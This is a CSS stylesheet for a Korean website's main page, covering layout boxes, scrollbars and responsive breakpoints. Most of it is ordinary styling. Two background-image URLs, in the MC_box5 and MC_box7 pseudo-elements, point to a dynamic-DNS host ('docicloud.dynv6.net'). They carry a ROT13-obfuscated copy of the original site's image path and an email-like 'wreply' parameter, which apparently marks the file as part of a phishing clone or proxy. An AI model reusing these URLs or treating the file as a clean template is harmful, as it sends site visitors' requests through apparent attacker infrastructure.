/* 메인 컨테이너 */
#container { position:relative; width:100%; padding-top: 3.4rem;}
#container *{ scrollbar-arrow-color: #ddd; scrollbar-Track-Color: #ddd; scrollbar-base-color: #aaa; scrollbar-Face-Color: #aaa; scrollbar-3dLight-Color: #aaa; scrollbar-DarkShadow-Color: #aaa; scrollbar-Highlight-Color: #aaa; scrollbar-Shadow-Color: #aaa;}
#container ::-webkit-scrollbar { width: 5px; }
#container ::-webkit-scrollbar-thumb { background-color: #aaa; border-radius:10px; }
#container ::-webkit-scrollbar-track { background-color: #ddd; border-radius:10px; }

.container { max-width: 80rem; margin: 0 auto;}
.MC_wrap1{position: relative; z-index: 0;}
.MC_box1{ height: 32.45rem;} /* 메인비주얼 */

.MC_wrap2{position: relative; z-index: 0; }
.box_wrap{ width: 55rem; margin: -6.2rem auto 0; } /* 바로가기1,2 */
.box_wrap .inner{display: flex; justify-content: center; width: 100%;}
.MC_box2{ flex: 1;} /* 바로가기1 */
.MC_box3{ flex: 1;} /* 바로가기2 */
.MC_box4{ margin-top: 3.5rem; } /* 게시판 */
.MC_box5{ position: relative; margin-top: 4.25rem;} /* 바로가기3 */
.MC_box5::before{content: ''; display: block; position: absolute; left: -27.5rem; top: 8rem; width: 45.8rem; height: 21.4rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Spbzzba%2Svzntrf%2Sgrzcyngr%2SN7%2Sznva%2Svzt_qrpb_02.cat) no-repeat center center; z-index: -1;}

.MC_wrap2 .conWrap{ display: flex; margin-top: 4.35rem; padding-bottom: 4.5rem;}
.MC_box6{ flex-shrink: 0; width: calc(100% - 24rem); padding-right: 4rem; margin-top: 1rem;} /* SNS */
.MC_box7{ position: relative; flex-shrink: 0; width: 24rem; height: 25rem;} /* 팝업존 */
.MC_box7::before{content: ''; display: block; position: absolute; left: 7rem; top: 12rem; width: 37.4rem; height: 37.4rem; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fpah.np.xe%2Spbzzba%2Svzntrf%2Sgrzcyngr%2SN7%2Sznva%2Svzt_qrpb_03.cat) no-repeat center center; z-index: -1;}



@media screen and (max-width:2040px) {
  
}
@media screen and (max-width:1670px) {
    .container{max-width: 100%; padding: 0 1rem;}
}
@media screen and (max-width:1450px) {
    .MC_box5::before{display: none;}
    .MC_box6{ padding-right: 2rem; height: auto; } /* SNS */
    .MC_box7{ height: 22rem;} /* 팝업존 */
    .MC_box7::before{display: none;}
}
@media screen and (max-width:1440px) {
    #container { padding-top: 3.4rem; }
}
@media screen and (max-width:1280px) {
    #container { padding-top: 0; }
    .MC_box1{ height: 25rem;}
    .box_wrap{ width: 100%; margin: -3rem auto 0; } /* 바로가기1,2 */
    .MC_box4{ margin-top: 1.5rem; } /* 게시판 */
    .MC_box5{ margin-top: 1.5rem; } /* 바로가기3 */

    .MC_wrap2 .conWrap{margin-top: 1.5rem; padding-bottom: 1.5rem;}
}
@media screen and (max-width:1075px) {   
    .MC_wrap2 .conWrap{ flex-direction: column;}
    .MC_box6{ width: 100%; padding-right: 0; margin-top: 0;} /* SNS */
    .MC_box7{ width: 100%; height: 20rem; margin-top: 3rem;} /* 팝업존 */
}
@media screen and (max-width:640px) {
    .MC_box1{ height: 18rem;}
}
@media screen and (max-width:450px) {
    .box_wrap{ margin: -1rem auto 0; } /* 바로가기1,2 */
    .MC_box4{ height: auto; } /* 게시판 */
    .MC_box7{ height: auto; } /* 팝업존 */
}